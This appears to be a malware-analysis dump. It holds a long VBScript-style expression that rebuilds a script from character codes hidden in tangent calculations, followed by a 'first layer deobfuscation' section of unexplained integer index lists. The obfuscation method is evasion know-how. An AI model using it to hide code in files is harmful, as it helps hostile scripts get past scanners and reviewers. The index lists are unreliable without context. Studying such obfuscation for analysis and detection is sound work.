chr(round(tan(CDbl("1.55763919132214")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.5613626443889")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55039099610836")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54448660954197")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.5613626443889")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55039099610836")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.557976516322")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.557976516322")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55564597092013")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.5490606199531")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54996600675868")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55903216364514")))) & chr(round(tan(CDbl("1.55564597092013")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55466869295126")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54996600675868")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54448660954197")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56108789396079")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56059259930094")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & ""



################################ After first layer deobfuscation ##################









',1238,1297,1374,1413,1414,1448,1449,1490,1501,1538,1539,1571,1572,1604,1605,1615,1616,1668,1669,1701,1702,1718,1719,1752,1753,1815,1816,1832,1843,1883,1884,1918,1919,1952,1953,2005,2006,2026,2027,2043,2044,2064,2065,2124,2220,2243,2277,2296,2346,2379,2399,2425,2865,2866,2957,2958,2990,2997,2998,3027,3036,3299,3322,3380,3430,3444,4944,5248,5525,6276,6380,6416,6727,7026,7115,7116,7130,7137,7138,7152,7621,
',22,35,85,102,119,152,198,252,296,298,315,329,341,405,464,496,511,651,799,947,961,985,1024,1164,1213,1237,1296,1308,1318,1344,1373,1412,1447,1489,1500,1537,1570,1603,1614,1667,1700,1717,1751,1814,1831,1842,1882,1917,1951,2004,2025,2042,2063,2123,2134,2144,2170,2176,2178,2219,2242,2276,2295,2345,2378,2398,2424,2482,2496,2498,2530,2554,2567,2630,2668,2690,2742,2795,2837,2864,2956,2989,2996,3026,3035,3047,3056,3058,3075,3103,3137,3166,3174,3192,3202,3242,3268,3277,3279,3298,3321,3379,3429,3443,3467,3481,3483,3499,3525,3551,3612,3689,3739,3758,3768,3777,3779,3790,3814,3916,3951,4003,4038,4050,4058,4099,4108,4110,4125,4149,4163,4353,4368,4387,4412,4466,4477,4498,4574,4593,4601,4668,4678,4692,4694,4716,4740,4803,4830,4852,4860,4883,4893,4907,4909,4943,4966,4981,5011,5057,5137,5151,5231,5247,5254,5268,5270,5297,5344,5377,5434,5459,5473,5475,5498,5524,5647,5661,5663,5680,5704,5813,5827,5829,5849,5875,5925,5961,6061,6147,6189,6264,6275,6318,6332,6334,6353,6379,6418,6513,6590,6624,6655,6665,6679,6681,6700,6726,6765,6827,6914,6948,6982,6992,7006,7008,7025,7114,7129,7136,7151,7160,7174,7193,7219,7307,7389,7425,7477,7487,7536,7576,7616,7666,7676,7711,7816,7904,7993,8024,8072,8082,8128,8142,


',21,34,84,101,118,151,197,251,295,297,314,328,340,404,463,495,510,650,798,946,960,984,1023,1163,1212,1236,1295,1307,1317,1343,1372,1411,1446,1488,1499,1536,1569,1602,1613,1666,1699,1716,1750,1813,1830,1841,1881,1916,1950,2003,2024,2041,2062,2122,2133,2143,2169,2175,2177,2218,2241,2275,2294,2344,2377,2397,2423,2481,2495,2497,2529,2553,2566,2629,2667,2689,2741,2794,2836,2863,2955,2988,2995,3025,3034,3046,3055,3057,3074,3102,3136,3165,3173,3191,3201,3241,3267,3276,3278,3297,3320,3378,3428,3442,3466,3480,3482,3498,3524,3550,3611,3688,3738,3757,3767,3776,3778,3789,3813,3915,3950,4002,4037,4049,4057,4098,4107,4109,4124,4148,4162,4352,4367,4386,4411,4465,4476,4497,4573,4592,4600,4667,4677,4691,4693,4715,4739,4802,4829,4851,4859,4882,4892,4906,4908,4942,4965,4980,5010,5056,5136,5150,5230,5246,5253,5267,5269,5296,5343,5376,5433,5458,5472,5474,5497,5523,5646,5660,5662,5679,5703,5812,5826,5828,5848,5874,5924,5960,6060,6146,6188,6263,6274,6317,6331,6333,6352,6378,6417,6512,6589,6623,6654,6664,6678,6680,6699,6725,6764,6826,6913,6947,6981,6991,7005,7007,7024,7113,7128,7135,7150,7159,7173,7192,7218,7306,7388,7424,7476,7486,7535,7575,7615,7665,7675,7710,7815,7903,7992,8023,8071,8081,8127,8141,


















',3,9,16,26,43,45,82,83,93,95,110,112,123,131,133,156,165,167,202,206,208,256,259,261,304,306,324,326,333,335,349,351,398,400,411,413,457,459,470,472,501,507,508,509,514,520,523,542,547,557,568,574,600,613,661,679,685,737,743,749,763,770,777,809,827,833,885,891,897,911,918,925,953,962,963,966,972,979,986,987,1013,1015,1025,1026,1030,1032,1108,1110,1123,1125,1165,1166,1175,1179,1184,1191,1195,1205,1207,1214,1215,1218,1227,1229,1231,1249,1255,1261,1266,1268,1273,1277,1280,1287,1309,1310,1314,1319,1320,1325,1327,1338,1345,1346,1349,1362,1365,1367,1375,1376,1379,1394,1406,1428,1436,1454,1479,1491,1492,1496,1502,1503,1506,1521,1531,1551,1559,1580,1587,1596,1620,1628,1630,1631,1648,1656,1659,1683,1723,1766,1779,1783,1785,1787,1795,1797,1803,1805,1829,1833,1834,1838,1844,1845,1848,1863,1876,1898,1906,1923,1957,1965,1967,1968,1985,1993,1996,2020,2022,2057,2078,2087,2090,2099,2103,2115,2120,2125,2126,2130,2135,2136,2140,2145,2146,2187,2212,2226,2237,2239,2249,2271,2273,2281,2300,2313,2315,2364,2366,2418,2449,2459,2486,2502,2524,2531,2532,2535,2541,2548,2555,2556,2568,2569,2573,2584,2586,2631,2632,2648,2655,2661,2669,2670,2686,2691,2692,2702,2704,2712,2714,2732,2734,2743,2744,2759,2770,2796,2797,2810,2838,2839,2842,2853,2856,2858,2876,2883,2892,2894,2900,2907,2910,2912,2923,2925,2928,2934,2936,2938,2962,3002,3031,3051,3062,3076,3077,3087,3089,3104,3105,3108,3117,3119,3131,3138,3139,3140,3141,3150,3152,3161,3163,3167,3168,3175,3176,3177,3178,3187,3189,3193,3194,3198,3203,3204,3213,3222,3226,3232,3243,3244,3250,3252,3272,3288,3302,3308,3315,3331,3339,3347,3349,3357,3359,3371,3373,3388,3401,3403,3415,3417,3422,3438,3448,3450,3471,3487,3500,3501,3504,3512,3514,3519,3526,3527,3528,3529,3535,3546,3548,3552,3553,3554,3555,3559,3566,3568,3613,3614,3615,3616,3620,3628,3630,3658,3660,3670,3682,3690,3691,3692,3693,3724,3733,3734,3735,3736,3737,3740,3741,3742,3743,3759,3760,3764,3772,3783,3791,3792,3795,3801,3808,3815,3816,3820,3831,3833,3888,3890,3895,3917,3918,3922,3927,3936,3939,3952,3953,3954,3955,3958,3986,3993,3995,3997,4004,4005,4006,4007,4008,4009,4020,4022,4033,4035,4039,4040,4041,4042,4046,4051,4052,4059,4060,4063,4075,4077,4080,4085,4103,4119,4126,4127,4130,4136,4143,4150,4151,4161,4164,4165,4174,4176,4351,4354,4355,4361,4363,4366,4369,4370,4377,4379,4385,4388,4389,4393,4395,4397,4399,4402,4410,4413,4414,4415,4416,4423,4425,4432,4434,4451,4453,4458,4460,4464,4467,4468,4473,4474,4475,4478,4479,4482,4492,4499,4500,4501,4502,4520,4556,4564,4575,4576,4577,4578,4583,4585,4594,4595,4602,4603,4604,4605,4610,4612,4665,4666,4669,4670,4674,4682,4703,4717,4718,4721,4727,4734,4741,4742,4747,4749,4804,4805,4808,4819,4822,4824,4831,4832,4833,4834,4844,4846,4853,4854,4861,4862,4863,4864,4874,4876,4884,4885,4889,4897,4918,4947,4953,4960,4967,4968,4969,4970,4982,4983,4984,4985,4989,4994,4996,4998,5001,5012,5013,5014,5015,5016,5017,5018,5019,5022,5030,5032,5034,5036,5039,5041,5045,5047,5051,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5083,5085,5099,5101,5113,5115,5118,5120,5123,5125,5129,5131,5138,5139,5140,5141,5142,5143,5144,5145,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5177,5179,5193,5195,5207,5209,5212,5214,5217,5219,5223,5225,5232,5233,5234,5235,5236,5237,5238,5239,5243,5258,5279,5298,5299,5303,5311,5313,5345,5346,5350,5359,5368,5378,5379,5391,5407,5416,5425,5428,5435,5436,5440,5448,5450,5463,5484,5499,5500,5501,5502,5505,5511,5518,5536,5538,5586,5588,5592,5594,5651,5672,5681,5682,5685,5691,5698,5705,5706,5713,5715,5779,5811,5817,5838,5850,5851,5852,5853,5856,5862,5869,5876,5877,5878,5879,5883,5898,5911,5923,5926,5927,5928,5929,5933,5947,5959,5962,5963,5964,5965,5969,5983,5985,6008,6059,6062,6063,6064,6065,6069,6081,6083,6115,6117,6122,6145,6148,6149,6150,6151,6155,6160,6172,6175,6187,6190,6191,6192,6193,6194,6195,6196,6197,6205,6207,6256,6258,6265,6266,6267,6268,6273,6279,6287,6289,6292,6297,6305,6307,6322,6343,6354,6355,6356,6357,6360,6366,6373,6384,6399,6409,6419,6420,6421,6422,6426,6440,6442,6514,6515,6516,6517,6521,6530,6532,6564,6566,6571,6591,6592,6593,6594,6598,6603,6611,6614,6625,6626,6627,6628,6629,6630,6631,6632,6639,6641,6656,6657,6658,6659,6669,6690,6701,6702,6703,6704,6707,6713,6720,6731,6746,6755,6766,6767,6768,6769,6773,6787,6789,6828,6829,6830,6831,6835,6844,6846,6878,6880,6885,6915,6916,6917,6918,6922,6927,6935,6938,6949,6950,6951,6952,6953,6954,6955,6956,6963,6965,6983,6984,6985,6986,6996,7017,7029,7098,7101,7103,7108,7121,7123,7143,7145,7156,7164,7183,7194,7195,7196,7197,7200,7206,7213,7220,7221,7222,7223,7227,7234,7236,7308,7309,7310,7311,7315,7325,7327,7352,7354,7359,7383,7390,7391,7392,7393,7397,7402,7411,7414,7426,7427,7428,7429,7430,7431,7432,7433,7445,7447,7453,7478,7479,7480,7481,7488,7489,7490,7491,7503,7505,7511,7537,7538,7539,7540,7551,7553,7565,7569,7571,7577,7578,7579,7580,7584,7585,7587,7589,7591,7594,7601,7617,7618,7619,7620,7622,7633,7635,7646,7648,7649,7661,7667,7668,7669,7670,7677,7678,7679,7680,7691,7693,7712,7713,7714,7715,7718,7719,7730,7732,7734,7739,7755,7757,7775,7780,7796,7798,7817,7818,7819,7820,7824,7843,7845,7884,7886,7905,7906,7907,7908,7912,7919,7921,7958,7960,7965,7994,7995,7996,7997,8001,8006,8013,8016,8025,8026,8027,8028,8029,8030,8031,8032,8039,8040,8042,8049,8050,8052,8073,8074,8075,8076,8083,8084,8085,8086,8089,8096,8097,8099,8102,8107,8114,8115,8117,8132,
',1190,1248,1265,1340,1443,1566,1913,2899,3221,6042,6495,7289,
',46,81,181,195,222,249,275,293,386,396,401,403,448,455,460,462,536,541,558,575,599,614,636,641,662,778,792,797,810,926,940,945,1037,1041,1052,1059,1074,1079,1090,1095,1107,1111,1122,1126,1137,1144,1150,1154,1171,1204,1243,1293,1339,1341,1395,1404,1419,1444,1522,1529,1544,1567,1581,1585,1724,1728,1738,1745,1767,1784,1864,1874,1889,1914,1924,1928,1938,1945,2021,2023,2079,2118,2329,2342,2600,2627,2649,2653,2687,2688,2735,2740,2871,2909,2926,2935,2963,2970,2976,2983,3003,3007,3013,3020,3209,3233,3327,3350,3360,3370,3389,3394,3404,3414,3582,3609,3661,3668,3712,3714,3721,3725,3844,3868,3881,3909,4183,4185,4187,4189,4191,4193,4195,4197,4199,4201,4203,4205,4207,4209,4211,4213,4215,4217,4219,4221,4223,4225,4227,4229,4231,4233,4235,4237,4239,4241,4243,4245,4247,4249,4251,4253,4255,4257,4259,4261,4263,4265,4267,4269,4271,4273,4275,4277,4279,4281,4283,4285,4287,4289,4291,4293,4295,4297,4299,4301,4303,4305,4307,4309,4311,4313,4315,4317,4319,4321,4323,4325,4327,4329,4331,4333,4335,4337,4339,4341,4343,4345,4347,4349,4521,4554,4565,4572,4630,4663,4767,4800,5327,5341,5351,5369,5392,5417,5573,5584,5589,5591,5629,5644,5733,5809,5996,6006,6009,6057,6108,6143,6259,6262,6290,6291,6308,6316,6453,6510,6557,6587,6800,6824,6871,6907,7057,7064,7072,7095,7104,7107,7124,7127,7146,7149,7247,7304,7345,7381,7472,7474,7531,7533,7572,7574,7758,7774,7799,7814,7856,7883,7951,7982,7984,7988,8100,8101,8118,8126,
',1109,1124,

',387,395,449,454,5574,5583,5630,5643,
',399,458,531,535,576,584,590,598,615,623,631,635,642,779,787,791,927,935,939,1042,1051,1053,1060,1073,1075,1080,1089,1091,1096,1106,1112,1121,1127,1136,1138,1145,1149,1151,1155,1206,1729,1737,1739,1746,1786,1796,1804,1929,1937,1939,1946,2713,2733,2818,2828,2911,2924,2937,2971,2975,2977,2984,3008,3012,3014,3021,3234,3351,3358,3372,3402,3416,3659,3715,3720,3726,5100,5194,5370,5418,5587,5593,6007,6257,7570,7647,7885,8051,

',31,40,180,221,274,311,385,447,580,594,619,646,954,1036,1049,1071,1087,1104,1119,1134,1160,1170,1222,1242,1333,1356,1385,1390,1418,1470,1475,1484,1512,1517,1543,1592,1649,1734,1791,1809,1854,1859,1888,1934,1986,2160,2202,2328,2518,2599,2728,2814,2832,2870,2908,3072,3096,3208,3257,3292,3326,3491,3581,3650,3711,3843,3880,3964,4064,4182,4443,4447,4448,4629,4713,4766,4932,5023,5027,5028,5105,5109,5110,5199,5203,5204,5289,5326,5495,5572,5628,5732,5846,5995,6107,6211,6244,6350,6452,6556,6697,6799,6870,7022,7035,7056,7071,7190,7246,7344,7454,7512,7566,7602,7662,7698,7855,7950,
',33,42,196,250,294,313,397,456,583,597,622,649,959,1050,1072,1088,1105,1120,1135,1161,1162,1211,1226,1294,1342,1361,1392,1405,1445,1477,1486,1487,1519,1530,1568,1594,1665,1736,1794,1812,1861,1875,1915,1936,2002,2168,2217,2343,2528,2628,2731,2817,2835,2927,2954,3073,3101,3240,3266,3296,3377,3497,3610,3687,3732,3869,3914,3992,4079,4350,4457,4462,4463,4664,4714,4801,4941,5038,5049,5050,5122,5134,5135,5216,5228,5229,5295,5342,5496,5585,5645,5810,5847,6058,6144,6254,6255,6351,6511,6588,6698,6825,6912,7023,7065,7096,7100,7191,7305,7387,7475,7534,7568,7614,7664,7709,7902,7991,
',3889,4452,5040,5124,5218,6116,6249,6565,6879,7353,7959,
',3162,4034,4433,4459,5035,5046,5119,5130,5213,5224,
',1174,1337,1393,1478,1520,1586,1595,1655,1658,1862,1992,1995,2119,2211,2458,2523,2654,2660,2769,3395,3421,3669,3681,3910,3911,3985,4186,4190,4194,4198,4202,4206,4210,4214,4218,4222,4226,4230,4234,4238,4242,4246,4250,4254,4258,4262,4266,4270,4274,4278,4282,4286,4290,4294,4298,4302,4306,4310,4314,4318,4322,4326,4330,4334,4338,4342,4346,4555,4563,5424,5427,5897,5910,5946,6398,6408,6745,6754,6908,6909,7097,7382,7384,7471,7530,7983,7989,
',563,569,601,666,680,738,750,771,814,828,886,898,919,3129,4408,5031,5114,5208,5408,
',70,141,189,232,285,360,422,480,537,637,793,941,996,1290,1291,1292,1575,1608,1635,1677,1686,1710,1762,1775,1824,1972,2014,2035,2051,2074,2083,2111,2154,2335,2359,2392,2412,2438,2560,2608,2623,2625,2643,2681,2736,2781,2806,2846,2916,2942,3040,3365,3383,3409,3433,3453,3592,3637,3664,3701,3751,3856,3870,3973,4093,4511,4621,4758,4812,5335,5387,5403,5547,5603,5724,6045,6097,6223,6498,6546,6649,6812,6860,6973,7044,7066,7292,7334,7463,7473,7522,7532,7573,7940,8059,
',52,53,74,80,1780,1781,2088,2100,2116,6243,
',41,115,116,117,312,327,1366,1391,1518,1860,2059,2060,2061,2121,2857,3190,3996,4398,4450,4823,5033,5048,5112,5426,6246,6251,7567,7990,
',32,113,1085,1476,1593,2058,2240,2626,3130,3164,4036,4078,4409,4461,4997,5029,5037,5121,5215,6245,6250,7188,7590,8037,8047,8094,8112,
',1485,1657,1735,1935,1994,2274,2729,3867,3900,4364,4746,6056,6127,6247,6252,6509,6576,6823,6890,7099,7148,7303,7364,7773,
',581,595,620,647,1792,1810,2815,2833,3899,6126,6575,6889,7147,7363,
',582,596,621,648,1230,1793,1811,2816,2834,3912,4449,4938,4939,4940,4991,4992,4993,5007,5008,5009,5210,5226,6248,6253,6910,7106,7126,7385,
',114,748,896,1086,2624,2730,4365,4553,4662,4799,5117,5133,5205,7189,8038,8048,8095,8113,
',5116,5132,7105,7125,7733,
',5206,
',3549,3913,5211,5227,6911,7386,
',5111,
',51,690,838,2875,2906,2933,3231,3723,3853,5367,6005,6462,6809,7256,7865,

